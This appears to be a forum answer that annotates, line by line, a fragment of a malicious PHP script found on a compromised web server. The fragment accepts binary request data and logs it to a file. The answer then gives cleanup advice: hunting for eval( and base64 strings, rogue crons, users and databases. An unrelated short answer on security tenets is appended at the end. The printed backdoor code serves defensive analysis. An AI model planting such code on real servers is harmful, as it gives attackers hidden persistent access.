elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

Verifies their import

if (strlen($data) > 0) print 'STATUS-IMPORT-OK';

Tries to write a file

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

Locks the file with an exclusive lock for writing

@flock($fp, LOCK_EX);

Prints to a the file with error display (likely another payload for some other server)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");

Releases the lock

@flock($fp, LOCK_UN);

Closes the file that's now on your server

@fclose($fp); } }

Closes the script

exit;

You can analyze this an look for the things they've checking for and implement them in the event you might be compromised by this. The flock() bit is in some of the newer code.

As a good rule when programming developers should never trust client provided input.

Update

Try to hunt your code for base64 encoded strings that you didn't create. You can grep for things like eval(. It might be in your database too if you've allowed them time on your box. There is likely a payload engine somewhere on the server (you would be more familiar with the existing code on the server than anyone here). I've seen these write FTP backdoors, custom database backdoors with new databases, and rootkits. So depending on who you're dealing with if you have physical access, unplug it from the network until you can clean it up.

Otherwise block all traffic to the server except from your own IP address.

You'll have to go through each step of their script to see what was allowed. They likely stopped at the first exploit. That doesn't mean the others don't exist though.

Note: Restoring from backup does not fix the exploit. It will last about 2 seconds if they're on your box.

Just a few other things to look for that I've run across:

crons (that check for the script and rewrite it in the event it's deleted)
executables in top (that you aren't expecting to be there)
New users
New subdirectories
New httpd.conf directories (a new website)
New database
New Database tables
New Database user
New groups
New IP whitelist rules in the firewall

These usually require a wipe and rebuild with better security from the beginning because usually when someone notices it's been a few hours since the exploit and the attackers have executed more backdoors and payloads onto the now infected box. It will show you where all of the server weaknesses are though.


Can an infected machine have any security?

Let's consider the main tenets of security.

Confidentiality - Data cannot be read by anyone other than the intended recipient.
Integrity - Protection from unauthorized modification
Availability - Self explanatory, the capability to make data available
Non-repudiation - the quality which ensures that an    action cannot be denied.
Authentication - The quality that validates files, uers etc are authentic.

In the above five, only confidentiality is affected by an attacker with read only access. So the short answer is, yes, there is some amount of security left.

Privacy cannot be guaranteed as all the factors ensuring confidentiality is readily available for the attacker.